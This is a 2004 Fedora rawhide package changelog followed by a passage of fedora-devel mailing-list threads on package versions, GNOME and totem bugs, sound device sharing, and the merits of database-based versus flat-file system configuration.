alsactl to /sbin - include a dev.d script for mixer restoring (#133535) anaconda-10.0.3.18-1 -------------------- * Thu Oct 14 2004 Jeremy Katz - 10.0.3.18-1 - Add fonts for ta, gu, bn, hi, pa (#119283) - Re-enable bterm for testing (#113910) - Fix segfault when using biospart with a ks hdinstall. Patch from Rez Kabir (#135609) - Write out /etc/sysconfig/kernel for use with new-kernel-pkg changes (#135161) - Fix telnet logins for s390 (karsten) - Hardcode LCS as eth instead of tr (karsten) anaconda-help-10.0.5-1 ---------------------- * Thu Oct 14 2004 Jeremy Katz - 10.0.5-1 - more translation updates authd-1.4.2-4 ------------- * Thu Oct 14 2004 Adrian Havill - 1.4.2-4 - slightly better error checking for insane cases - tweak of the openssl requires dependency loop (#131291) - as ident.key is created in %post, tweak so verify passes (#131530) - make the uid/gid for ident conform to the past (#135752) binutils-2.15.92.0.2-4 ---------------------- * Fri Oct 15 2004 Jakub Jelinek 2.15.92.0.2-4 - fix code detecting matching linkonce and single member comdat group sections (#133078) cproto-4.7c-3 ------------- * Thu Oct 14 2004 Jindrich Novy 4.7c-3 - define OPT_LINTLIBRARY to enable type definitions output and other cproto features disabled otherwise cups-1.1.22-0.rc1.5 ------------------- * Thu Oct 14 2004 Tim Waugh 1:1.1.22-0.rc1.5 - Fixed another typo in last patch! elinks-0.9.2-2 -------------- * Thu Oct 14 2004 Karel Zak 0.9.2-2 - the "Linux" driver seems better than "VT100" for xterm (#128105) emacs-21.3-16 ------------- * Fri Oct 15 2004 Jens Petersen - 21.3-16 - do not setup frame-title-format in default.el, since it will override setting by users (Henrik Bakken, 134520) - emacs-el no longer requires emacs for the sake of -nox users (Lars Hupfeldt Nielsen, 134479) - condition calling of global-font-lock-mode in default .emacs in case xemacs should happen to load it * Wed Sep 29 2004 Jens Petersen - 21.3-15 - cleanup and update .desktop file - make emacs not appear in the desktop menu (Seth Nickell,132567) - move the desktop file from -common to main package - go back to using just gctags for ctags - etags is now handled by alternatives (92256) - improve the default frame title by prefixing the buffer name (Christopher Beland, 128110) - fix the names of some European aspell languages with emacs-21.3-lisp-textmodes-ispell-languages.patch (David Jansen, 122618) - fixing running "libtool gdb program" in gud with emacs-21.3-gud-libtool-fix.patch (Dave Malcolm, 130955) * Tue Jun 15 2004 Elliot Lee - rebuilt epiphany-1.4.4-3 ---------------- * Tue Oct 12 2004 Marco Pesenti Gritti - 1.4.4-3 - Remove generic name patch, epiphany is no more default file-roller-2.8.1-1 ------------------- * Tue Oct 05 2004 Christopher Aillon 2.8.1-1 - Update to 2.8.1 * Thu Sep 30 2004 Christopher Aillon 2.8.0-4 - Prereq desktop-file-utils >= 0.9 * Tue Sep 28 2004 Christopher Aillon 2.8.0-2 - update-desktop-database after uninstall. - nautilus shouldn't try to open remote files with file-roller (#133592) gimp-2.0.5-5 ------------ * Thu Oct 14 2004 Nils Philippsen - catch wrong values of bpp in BMP plugin (#135675), don't forget 1bpp and 24bpp (d'oh) * Thu Sep 30 2004 Christopher Aillon - PreReq desktop-file-utils >= 0.9 * Sun Sep 26 2004 Nils Philippsen - fix post/postun requirements glibc-2.3.3-68 -------------- * Thu Oct 14 2004 Jakub Jelinek 2.3.3-68 - update from CVS - support for namespaces in the dynamic linker - fix dlclose (BZ #77) - libSegFault.so uses now backtrace() to work on IA-64, x86-64 and s390 (#130254) gnome-games-2.8.0-3 ------------------- * Thu Oct 14 2004 Marco Pesenti Gritti 1:2.8.0-3 - 135591 Ataxx crashes on launch gnome-vfs2-2.8.2-4 ------------------ * Fri Oct 15 2004 Alexander Larsson - 2.8.2-4 - Handle several mtab changes in the same second (#132976) * Thu Oct 14 2004 David Zeuthen 2.8.2-3 - Change console to pamconsole to support new util-linux and hal packages gpm-1.20.1-62 ------------- * Thu Oct 14 2004 Bill Nottingham 1.20.1-62 - fix remaining sourcing of /etc/sysconfig/gpm (#135776) hal-0.4.0-2 ----------- * Thu Oct 14 2004 David Zeuthen 0.4.0-2 - Fix issue with fstab-sync not cleaning /etc/fstab on startup * Thu Oct 14 2004 David Zeuthen 0.4.0-1 - Update to upstream stable version 0.4.0 - Remove patch for libhal shutdown since that is now upstream - fstab-sync: man page, adds comment in /etc/fstab pointing to man page * Fri Oct 01 2004 David Zeuthen 0.2.98.cvs20040929-3 - Fix a bug so libhal actually invoke callback functions when needed iiimf-le-xcin-0.1.7-8 --------------------- * Fri Oct 15 2004 Leon Ho - 0.1.7-8 - fixed status conv for KDE * Fri Oct 15 2004 Leon Ho - 0.1.7-7 - fixed some more mem check errors - fixed key events and status - removed iiimf-le-tools requires im-sdk-12.0.1-16.svn1994 ------------------------ * Fri Oct 15 2004 Akira TAGOH - 1:12.0.1-16.svn1994 - iiimsf-rename-and-install-under-libexec.patch: backport patch from upstream. - rename the segfault logger to iiimf-segv-logger. - install the segfault logger under /usr/libexec, because it doesn't allow to run from the command line. - fixed not working properly for -rh-debuginfo.patch. * Fri Oct 15 2004 Jens Petersen - 1:12.0.1-15.svn1994 - update to newer tree - our init script pushed upstream - less of im-sdk-20040203-build.patch now needed - most of im-sdk-11.4-sun-le-korean.patch committed upstream - the following patches are now upstream and no longer needed: im-sdk-icuconv-gencnval-destdir-116224.patch, im-sdk-CSConv-ct_conf-de-116224.patch, im-sdk-11.4-initscript.patch, im-sdk-11.4-initscript-lock.patch, im-sdk-11.4-iiimsf-help.patch, im-sdk-12.0.1-iiimsf-xmlconf.patch, im-sdk-12.0.1-unix-domain-socket.patch, im-sdk-12.0.1-iiimsf-disable-tcp.patch, im-sdk-12.0.1-iiimsf-letool-usage.patch, iiimsf-fix-htt-retrycounter.patch, iiimsf-check-libxml2-func.patch, iiimsf-segvlogger.patch, iiimsf-fix-handling-of-args.patch, gimlet-1.1.0_1.1.1.diff, gimlet-status-under-app.patch, iiimqcf-update.diff, leif-canna-late-aux-init.patch, leif-canna-close-uicontext.patch, im-sdk-11.4-hangul-ignore-ctrl.patch, leif-hangul-just-ko.patch, leif-unit-indic-phonetic-layouts.patch, leif-chewing-fix-build.patch, leif-chewing-fix-build2.patch, leif-freewnn-ia64.patch, leif-default.patch - add iiim.init-retryonerror.patch to set retryonerror to 0 in init script - gimlet help updated and fixed (131219) - build gimlet with --with-status-default-under-app - fixes Hindi layout default order (Jatin Nansi,135034) - disable iiimqcf - build and install doc/ properly - build sun_le_korea always like sun_le_asia * Thu Oct 14 2004 Akira TAGOH - iiimsf-fix-handling-of-args.patch: fixed giving the options for htt to htt_server. - iiimsf-rh-debuginfo.patch: don't do backtrace on gdb if -debuginfo isn't installed. kde-i18n-3.3.0-2 ---------------- * Tue Aug 31 2004 Than Ngo 3.3.0-2 - fix rpm file list * Mon Aug 23 2004 Than Ngo 3.3.0-1 - update to 3.3.0 * Tue Aug 10 2004 Than Ngo 3.3.0-0.1.rc2 - update to 3.3.0 rc2 - add Bulgarian kernel-2.6.8-1.624 ------------------ * Thu Oct 14 2004 Dave Jones - Rebase to 2.6.9-rc4-bk2 - librtas needs to work around the /dev/mem restrictions. - EXT3 reservations use-before-initialised bugfix. - Merge Emulex LightPulse FC driver. - support O_NONBLOCK for read,pread,readv of regular files. - EDD blows up some x86-64's. Disable again. * Wed Oct 13 2004 Dave Jones - Make EDD driver modular on x86-64 too. - Various mkinitrd spec changes (Jeremy Katz) - Enable a bunch more PPC64 config options. (Dave Howells) - Enable ACPI cpufreq driver for x86-64 too. libaio-0.3.102-1 ---------------- * Thu Oct 14 2004 Jeff Moyer - 0.3.102-1 - update to 102. Fixes build errors on s390: - S390 asm had a bug; I forgot to update the clobber list. Lucky for me, newer compilers complain about such things. - Also update the s390 asm to look more like the new kernel variants. * Wed Oct 13 2004 Jeff Moyer - 0.3.101-1 - update to 101. Fixes bz 133253 - libaio backwards compatibility severely broken. * Tue Sep 14 2004 Jeff Moyer - 0.3.100-1 - update to 100. Fixes bz 129910. Add pseries and iseries to exclusivearch. libgnomecups-0.1.12-5 --------------------- * Wed Oct 13 2004 Colin Walters 0.1.12-5 - Add patch which tries to avoid blocking the main loop in certain cases * Thu Sep 30 2004 Colin Walters 0.1.12-4 - Change group to Development/Libraries (131688) libtiff-3.6.1-7 --------------- * Thu Oct 14 2004 Matthias Clasen 3.6.1-7 - fix some integer and buffer overflows (#134853, #134848) lm_sensors-2.8.7-2 ------------------ * Thu Oct 14 2004 Harald Hoyer 2.8.7-2 - added initial /etc/sysconfig/lm_sensors - added initscript - MAKEDEV the initial i2c devices in initscript and sensors-detect nautilus-media-0.8.1-3 ---------------------- * Thu Oct 14 2004 Colin Walters 0.8.1-3 - Do not display .wav files either, pursuant to previous upload * Thu Oct 14 2004 Colin Walters 0.8.1-2 - Add patch nautilus-media-no-wav.patch to avoid wav files, thus avoiding a crash on them. Need to debug into GStreamer to find the reason for the crash. (Bug 134643) newt-0.51.6-4 ------------- * Thu Oct 14 2004 Adrian Havill 0.51.6-4 - make the python version dynamic (#114419) * Tue Jun 15 2004 Elliot Lee - rebuilt * Tue Mar 02 2004 Elliot Lee - rebuilt nfs-utils-1.0.6-38 ------------------ * Thu Oct 14 2004 Steve Dickson - Added "$RQUOTAD_PORT" variable to nfs.init which allows the rpc.rquotad to use a predefined port (bz# 124676) pam-0.77-62 ----------- * Mon Oct 11 2004 Tomas Mraz 0.77-62 - Added bluetooth, raw1394 and flash to console.perms - pam_console manpage fix * Mon Oct 11 2004 Tomas Mraz 0.77-61 - #129328 pam_env shouldn't abort on missing /etc/environment - #126985 pam_stack should always copy the conversation function - #127524 add /etc/security/opasswd to files * Tue Sep 28 2004 Phil Knirsch 0.77-60 - Drop last patch again, fixed now correctly elsewhere postfix-2.1.5-2 --------------- * Thu Oct 14 2004 Thomas Woerner 2:2.1.5-2 - switched over to system aliases file and database in /etc/ (#117661) - new reuires and buildrequires for setup >= 2.5.36-1 qt-3.3.3-8 ---------- * Thu Oct 14 2004 Than Ngo 1:3.3.3-8 - don't compress examples/tutorial redhat-artwork-0.115-1 ---------------------- * Thu Oct 14 2004 Alexander Larsson - 0.115-1 - Fix logout icon (#135594) - Make dvd icon not imply movie * Wed Oct 13 2004 Alexander Larsson - 0.114-1.1E - RHEL build rpmdb-fedora-2.92-0.20041015 ---------------------------- selinux-policy-strict-1.17.30-2 ------------------------------- * Tue Oct 12 2004 Dan Walsh 1.17.30-2 - Cleanup patch - Add removable_t associate * Sat Oct 09 2004 Dan Walsh 1.17.30-1 - Upstream merge from NSA - Add arpwatch. - Turned on every service on machine and got multiple avc messages. * Fri Oct 08 2004 Dan Walsh 1.17.29-4 - Change allow_ypbind to be a boolean. selinux-policy-targeted-1.17.30-2 --------------------------------- * Tue Oct 12 2004 Dan Walsh 1.17.30-2 - Cleanup patch - Add removable_t associate * Sat Oct 09 2004 Dan Walsh 1.17.30-1 - Upstream merge from NSA - Add arpwatch. - Turned on every service on machine and got multiple avc messages. * Thu Oct 07 2004 Dan Walsh 1.17.29-4 - Make allow_ypbind into a boolean shared-mime-info-0.15-9 ----------------------- * Thu Oct 14 2004 Colin Walters - 0.15-9 - Handle renaming of hxplay.desktop to realplay.desktop system-config-display-1.0.22-1 ------------------------------ * Thu Oct 14 2004 Paul Nasrat 1.0.22-1 - Depth callback patch from twaugh (#128650) system-config-securitylevel-1.4.11-1 ------------------------------------ * Thu Oct 14 2004 Paul Nasrat 1.4.11-1 - GTK deprecation messages tk-8.4.7-2 ---------- * Fri Oct 15 2004 Jens Petersen - 8.4.7-2 - move pkgIndex.tcl back into /usr/lib64/tk8.4 so that multilib parallel installs works (135310) - drop tk-8.4.5-pkgIndex-loc.patch - remove any compat symlink present before installing - do not generate compat symlink after installing totem-0.99.19-1 --------------- * Thu Oct 14 2004 Colin Walters - 0.99.19-1 - New upstream 0.99.19 - Fixes crasher with CD playback (see NEWS) udev-038-1 ---------- * Thu Oct 14 2004 Harald Hoyer - 038-1 - raw device nodes are now created in directory raw - version 038 util-linux-2.12a-16 ------------------- * Thu Oct 14 2004 Elliot Lee 2.12a-16 - Add include_raw macro, build with it off for Fedora * Wed Oct 13 2004 Stephen C. Tweedie - 2.12a-15 - Add raw patch to allow binding of devices not yet in /dev * Wed Oct 13 2004 John (J5) Palmieri 2.12a-14 - Add David Zeuthen's patch to enable the pamconsole flag #133941 uucp-1.07-3 ----------- * Thu Oct 14 2004 Peter Vrabec - fix spec file (#134328) xorg-x11-6.8.1-6 ---------------- * Tue Oct 12 2004 6.8.1-6 - Add xorg-x11-6.8.1-disable-dri-option.patch, which adds XF86Free-DRI to the list of extensions that can be disabled using the -extension command line switch. * Wed Oct 06 2004 Mike A. Harris 6.8.1-5 - Added xorg-x11-6.8.1-vidmode-change-verbosity.patch which changes the default verbosity level of Xvidmode extension debugging log messages in the X server from "1" to "> DEFAULT_XF86VIDMODE_VERBOSITY" which is set to 3. This fixes a power consumption problem on laptops running on battery power, where when a screensaver kicks in and calls xf86GetVidMode(), the X server generates excessive log messages which cause the hard disk to spin up if it was in powersave mode, thus reducing the battery life. Since the currently logged messages are pretty useless generally speaking, this fixes the problem by increasing the verbosity level required before the messages end up in the log file. (#128305) * Tue Oct 05 2004 Mike A. Harris - Added post/postun scripts to the deprecated-libs subpackage, copied versions of those in the libs subpackage (#134424) xrestop-0.2-4 ------------- * Thu Oct 14 2004 Mike A. Harris 0.2-4 - Added "BuildRequires: xorg-x11-devel, ncurses-devel" (#125029) * Tue Jun 15 2004 Elliot Lee 0.2-3 - rebuilt * Wed Apr 14 2004 Mike A. Harris 0.2-2 - Add missing documentation - Add xrestop-manpage-fix.patch to fix bug (#118038) ypserv-2.13-5 ------------- * Thu Oct 14 2004 Miloslav Trmac - 2.13-5 - Fix crash with -p (#134910, #129676) From johnp at redhat.com Fri Oct 15 12:50:50 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Fri, 15 Oct 2004 08:50:50 -0400 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <1097824968.2778.5.camel@tux.lan> References: <20041015011025.2b4fceab@localhost> <1097824968.2778.5.camel@tux.lan> Message-ID: <1097844649.19731.2.camel@localhost.localdomain> On Fri, 2004-10-15 at 03:22, Ronald S. Bultje wrote: > On Fri, 2004-10-15 at 01:10, Matthias Saou wrote: > > - The totem/gstreamer player really needs some bugfixing AFAICT, as by > > dragging and dropping some videos on it, I manage to get it to open a > > second window with the new video (this is definitely not wanted!), and > > often also see a tiny separate window for fractions of a second next to the > > main window before it disappears when the video then starts playing in the > > main window. > > The window popup thing is fixed in CVS, I can provide a patch for the > Fedora RPMs if you want. Will Fedora ship totem, and if so, will it > stick to 0.8.5 of gst-plugins or is there a chance for inclusion of a > newer version if we release it before the Fedora Core 3 release? I believe we are shipping totem. Can you file a bug report in bugzilla and attach the patch if possible? -- J5 From feliciano.matias at free.fr Fri Oct 15 13:00:55 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 15 Oct 2004 15:00:55 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> Message-ID: <1097845255.24561.14.camel@localhost.localdomain> Le vendredi 15 octobre 2004 ? 08:01 -0400, Build System a ?crit : > kde-i18n-3.3.0-2 > ---------------- from "rawhide report: 20041014 changes" : kde-i18n-3.3.1-1 ---------------- Why a downgrade ? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From elanthis at awesomeplay.com Fri Oct 15 13:59:44 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Fri, 15 Oct 2004 09:59:44 -0400 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <20041015011025.2b4fceab@localhost> References: <20041015011025.2b4fceab@localhost> Message-ID: <1097848784.25590.12.camel@support02.civic.twp.ypsilanti.mi.us> For the record, if you've been upgrading GNOME through Rawhide, your setup is likely broken in a lot of ways. The RPMs don't seem to be all that well built; upgrades can somehow result in apps which crash, a lot. For example, I was getting a lot of panel applet crashes. The fix was to completely uninstall (rpm -e) the applets, and reinstall them. Then they worked. Various other apps (Evolution for one) had similar problems I had to fix using the same method. Hopefully the FC2->FC3 upgrade doesn't have these problems. (Remember that upgrading between test released or Rawhide is *NOT* supported.) -- Sean Middleditch AwesomePlay Productions, Inc. From fedora-devel at camperquake.de Fri Oct 15 14:03:45 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Fri, 15 Oct 2004 16:03:45 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <1097845255.24561.14.camel@localhost.localdomain>; from feliciano.matias@free.fr on Fri, Oct 15, 2004 at 03:00:55PM +0200 References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097845255.24561.14.camel@localhost.localdomain> Message-ID: <20041015160345.B22543@ryoko.camperquake.de> On Fri, Oct 15, 2004 at 03:00:55PM +0200, Matias F?liciano wrote: > from "rawhide report: 20041014 changes" : > kde-i18n-3.3.1-1 > ---------------- > > Why a downgrade ? Read again :) From harald at redhat.com Fri Oct 15 14:17:56 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 15 Oct 2004 16:17:56 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <20041015160345.B22543@ryoko.camperquake.de> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097845255.24561.14.camel@localhost.localdomain> <20041015160345.B22543@ryoko.camperquake.de> Message-ID: <416FDC14.4010909@redhat.com> Ralf Ertzinger wrote: > On Fri, Oct 15, 2004 at 03:00:55PM +0200, Matias F?liciano wrote: > > >>from "rawhide report: 20041014 changes" : >> kde-i18n-3.3.1-1 >> ---------------- >> >>Why a downgrade ? > > > Read again :) > Ralf, you read again :) From fedora-devel at camperquake.de Fri Oct 15 14:21:36 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Fri, 15 Oct 2004 16:21:36 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <416FDC14.4010909@redhat.com>; from harald@redhat.com on Fri, Oct 15, 2004 at 04:17:56PM +0200 References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097845255.24561.14.camel@localhost.localdomain> <20041015160345.B22543@ryoko.camperquake.de> <416FDC14.4010909@redhat.com> Message-ID: <20041015162136.C22543@ryoko.camperquake.de> On Fri, Oct 15, 2004 at 04:17:56PM +0200, Harald Hoyer wrote: > > Read again :) > > > Ralf, you read again :) Awww, shucks. Sorry. From walters at redhat.com Fri Oct 15 14:28:28 2004 From: walters at redhat.com (Colin Walters) Date: Fri, 15 Oct 2004 10:28:28 -0400 Subject: Isn't current GNOME a little too buggy? In-Reply-To: <1097824968.2778.5.camel@tux.lan> References: <20041015011025.2b4fceab@localhost> <1097824968.2778.5.camel@tux.lan> Message-ID: <1097850508.5713.8.camel@decepticon.boston.redhat.com> On Fri, 2004-10-15 at 09:22 +0200, Ronald S. Bultje wrote: > On Fri, 2004-10-15 at 01:10, Matthias Saou wrote: > > - The totem/gstreamer player really needs some bugfixing AFAICT, as by > > dragging and dropping some videos on it, I manage to get it to open a > > second window with the new video (this is definitely not wanted!), and > > often also see a tiny separate window for fractions of a second next to the > > main window before it disappears when the video then starts playing in the > > main window. > > The window popup thing is fixed in CVS, I can provide a patch for the > Fedora RPMs if you want. Will Fedora ship totem, It's been shipped since 20041008 :) > and if so, will it > stick to 0.8.5 of gst-plugins or is there a chance for inclusion of a > newer version if we release it before the Fedora Core 3 release? At this point I'd prefer to apply targeted patches. From feliciano.matias at free.fr Fri Oct 15 14:30:23 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 15 Oct 2004 16:30:23 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <20041015160345.B22543@ryoko.camperquake.de> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097845255.24561.14.camel@localhost.localdomain> <20041015160345.B22543@ryoko.camperquake.de> Message-ID: <1097850624.24561.18.camel@localhost.localdomain> Le vendredi 15 octobre 2004 ? 16:03 +0200, Ralf Ertzinger a ?crit : > On Fri, Oct 15, 2004 at 03:00:55PM +0200, Matias F?liciano wrote: > > > from "rawhide report: 20041014 changes" : > > kde-i18n-3.3.1-1 > > ---------------- > > > > Why a downgrade ? > > Read again :) Done. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From tibbs at math.uh.edu Fri Oct 15 14:32:44 2004 From: tibbs at math.uh.edu (Jason L Tibbitts III) Date: Fri, 15 Oct 2004 09:32:44 -0500 Subject: rawhide report: 20041015 changes In-Reply-To: <1097845255.24561.14.camel@localhost.localdomain> (Matias =?iso-8859-1?q?F=E9liciano's?= message of "Fri, 15 Oct 2004 15:00:55 +0200") References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097845255.24561.14.camel@localhost.localdomain> Message-ID: >>>>> "MF" == Matias F?liciano writes: MF> Why a downgrade ? It seems that both versions are currently in rawhide, but it really looks like the whole of KDE has been backed down to 3.3.0 because kde-i18n is the only 3.3.1 package left. - J< From dwmw2 at infradead.org Fri Oct 15 14:50:59 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Fri, 15 Oct 2004 15:50:59 +0100 Subject: rawhide report: 20041015 changes In-Reply-To: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> Message-ID: <1097851858.13633.174.camel@hades.cambridge.redhat.com> On Fri, 2004-10-15 at 08:01 -0400, Build System wrote: > epiphany-1.4.4-3 > ---------------- Not present on PPC. Why so? -- dwmw2 From foolish at fedoraforum.org Fri Oct 15 14:53:44 2004 From: foolish at fedoraforum.org (Sindre Pedersen Bjordal) Date: Fri, 15 Oct 2004 16:53:44 +0200 Subject: nedit 5.5 released In-Reply-To: References: Message-ID: <1097852025.4314.1.camel@localhost.localdomain> First get it into fedora.us, I think I've heard that nothing will make it into Core without first beeing in fedora.us See the "10 Do's and Don't's of successful collaboration at fedora.us" post. fre, 15,.10.2004 kl. 10.05 +0200, skrev Gianluca Sforna: > Hi > just noticed nedit.org crew released version 5.5. > > What is the correct way to report this kind of things for inclusion? bugzilla?? > > thank you > > Gianluca > -- Sindre Pedersen Bjordal www.fedoraforum.org -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dette er en digitalt signert meldingsdel URL: From feliciano.matias at free.fr Fri Oct 15 14:56:17 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 15 Oct 2004 16:56:17 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097845255.24561.14.camel@localhost.localdomain> Message-ID: <1097852177.24561.22.camel@localhost.localdomain> Le vendredi 15 octobre 2004 ? 09:32 -0500, Jason L Tibbitts III a ?crit : > >>>>> "MF" == Matias F?liciano writes: > > MF> Why a downgrade ? > > It seems that both versions are currently in rawhide, but it really > looks like the whole of KDE has been backed down to 3.3.0 because > kde-i18n is the only 3.3.1 package left. kdelibs-3.3.1 "only" is in Rawhide. > > - J< > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From harald at redhat.com Fri Oct 15 15:11:28 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 15 Oct 2004 17:11:28 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <1097852177.24561.22.camel@localhost.localdomain> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097845255.24561.14.camel@localhost.localdomain> <1097852177.24561.22.camel@localhost.localdomain> Message-ID: <416FE8A0.8050904@redhat.com> Matias F?liciano wrote: > Le vendredi 15 octobre 2004 ? 09:32 -0500, Jason L Tibbitts III a > ?crit : > >>>>>>>"MF" == Matias F?liciano writes: >> >>MF> Why a downgrade ? >> >>It seems that both versions are currently in rawhide, but it really >>looks like the whole of KDE has been backed down to 3.3.0 because >>kde-i18n is the only 3.3.1 package left. > > > kdelibs-3.3.1 "only" is in Rawhide. Can we please put in 3.3.1?? From pbruna at linuxcenterla.com Fri Oct 15 15:12:01 2004 From: pbruna at linuxcenterla.com (Patricio Bruna V.) Date: Fri, 15 Oct 2004 12:12:01 -0300 Subject: Sound not working? Message-ID: <1097853121.3691.7.camel@p> hi, when i listen mp3 the other app (like gaim) can't play sounds, and the sound get queued until xmms stop, and then all the sound are playing together. How can i make that more that one app can access to the sound device? From grmoc at yahoo.com Fri Oct 15 15:19:59 2004 From: grmoc at yahoo.com (Roberto Peon) Date: Fri, 15 Oct 2004 11:19:59 -0400 Subject: BerkeleyDB and config files In-Reply-To: <20041015051251.GA4478@devel.mpeters.us> References: <20041014045018.GA5157@devel.mpeters.us> <1097749965.5636.135.camel@speedy.iagorubio.net> <20041015051251.GA4478@devel.mpeters.us> Message-ID: <200410151119.59799.grmoc@yahoo.com> On Friday 15 October 2004 01:12 am, Michael A. Peters wrote: (subject: redundancy) > > They don't need to be. > You can get redundance either through automated backups which are > reverted to if corrupt, flat file backups, etc. Flat files can be backed up as well. > > System would still boot if the database was corrupt - flat files are > also single points of failure. Can you boot if /etc/fstab is crapped? Configuration files are single point of failures for the processes that depend on their existance. If all configuration is stored in one file, then it is more probable that filesystem corruption will be able to take out that file (and thus all of your configuration) (subject: SE-Linux) > > > > What's sure is any scripting language will support open/write/read > > operations on flat files. > > Yes - but you then have to write a utility for each different type of > config file, and then maintain those utilities. Otherwise - you end up > with a system that is not friendly for the typical desktop user to > administrate. With an embedded database, such admin tools are trivial - > you don't have to learn how program xyz pases its config file etc. > > > A plain python - or shell, or Perl, ... - script can do the job on > > flat > > files also. > > Look at the mess that the RH 5/6 configuration tool was - I forget what > they called it (linuxconfig??), but it often did not work properly, and > never worked properly with all things, because all the different flat > files used different syntax in how the config files were used. Some > were read by a C program, some were sourced by a shell script, etc. > > That made it a nightmare to maintain the administration utility. > With a database, it is much easier. The value for the setting is > requested from the database, or inserted into the database. It greatly > simplifies how configuration information is stored and retrieved. A database does not necessarily make it easier, but it certainly makes it more centralized. A properly organized filesystem based approach, however should also be easy to use. > And an embedded database is easily backup up. I back up my rpm database > daily (cron) - it hasn't failed on me in eons, but back when it did > fail - it was trivial to go to a backup database. A directory is easy to backup as well. > An embedded database for system config files does not need to be > terribly complex, and redundancy could easily be built into a wrapper > app that handles the request for info. If there is a database integrity > problem, it alerts the administrator and uses the last backup. Flat files don't need an additional wrapper to achieve this. > Clearly you would not want the database to contain data necessary to > boot, such as your grub.conf info. But stuff like your yum > repositories, network interface settings, console.perms data, etc. - > that really would be better off (imho) in a single database. > > I know people are put off by this because of what MS did with the > registry. But that was MS. Gnome does exactly this - a database for > gnome application settings, gconf - and it works extremely well, and is > a hell of a lot nicer than config files. Properly done XML files are pretty darn legible, and by design are easily extensible. Parsers for XML exist in many, if not most, scripting languages. Since XML is text, it isn't all that hard to write a shell script to modify a few key variables if necessary. Databases have less tool coverage. Also, one advantage that I might typically ascribe to databases, easy search (assuming, of course, that you have the right tool and you don't have to know the database syntax, or write a program), is not likely to make any difference, as 'grep' and 'find' are likely to suffice for any configuration-setting searches. Databases have one other advantage over flat files: diskspace usage. A single file is going to be more efficent than a bunch of flat files. Summary: Database-based configuration approches have the following advantage: 1) more complete searching mechanisms (depending on the database) 2) better filesystem/filespace efficiency Database-based configuration approaches suffer from: 1) increased chance of system failure 2) selinux+configuration database requires programmatic/script based workarounds 3) less tool (scripting, bash, etc) support 4) VERY coarse-grained locking, so multiple simultaneous users suffer 5) Difficult to fix using vi (or some other text editor) in a disaster-recovery situation -Roberto JP From remco at rvt.com Fri Oct 15 15:26:46 2004 From: remco at rvt.com (Remco Treffkorn) Date: Fri, 15 Oct 2004 08:26:46 -0700 Subject: BerkeleyDB and config files In-Reply-To: <604aa79104101423216e62507d@mail.gmail.com> References: <20041014045018.GA5157@devel.mpeters.us> <20041015051251.GA4478@devel.mpeters.us> <604aa79104101423216e62507d@mail.gmail.com> Message-ID: <200410150826.46607.remco@rvt.com> On Thursday 14 October 2004 23:21, Jeff Spaleta wrote: > On Thu, 14 Oct 2004 22:12:51 -0700, Michael A. Peters wrote: > > That made it a nightmare to maintain the administration utility. > > With a database, it is much easier. The value for the setting is > > requested from the database, or inserted into the database. It greatly > > simplifies how configuration information is stored and retrieved. > > Specifically... Berkeley DB is an absolutely horrible idea if you need > to have multiple people changing multiple settings involving multiple > aspects of the system. Can Berkeley DB allow for multiple writes at ... Look at the Elektra Project at http://elektra.sf.net. The author / maintainer has paid attention to fedback, and I think this solution is a viable compromise. It fits in very well with Selinux. Solves the 'single point of failure' problem (to the extend it can be done). Is 'vi' editable (and still maintains Selinux access control). No additional dependencies (important for embedded). Patches for some apps available. Worth a read... -- Remco Treffkorn (RT445) HAM DC2XT remco at rvt.com (831) 685-1201 From veguilla at hpcf.upr.edu Fri Oct 15 15:36:07 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Fri, 15 Oct 2004 11:36:07 -0400 Subject: Sound not working? In-Reply-To: <1097853121.3691.7.camel@p> References: <1097853121.3691.7.camel@p> Message-ID: <1097854567.12039.6.camel@ricardo.veguilla.net> On Fri, 2004-10-15 at 12:12 -0300, Patricio Bruna V. wrote: > hi, when i listen mp3 the other app (like gaim) can't play sounds, and > the sound get queued until xmms stop, and then all the sound are playing > together. How can i make that more that one app can access to the sound > device? First of all, I think this question is off-topic in this mailing list (which is dedicated to development discussion). You should probably ask in fedora-list or fedora-test. The answer to your question probably depends on: a) which program you are using to play mp3 b) which audio output 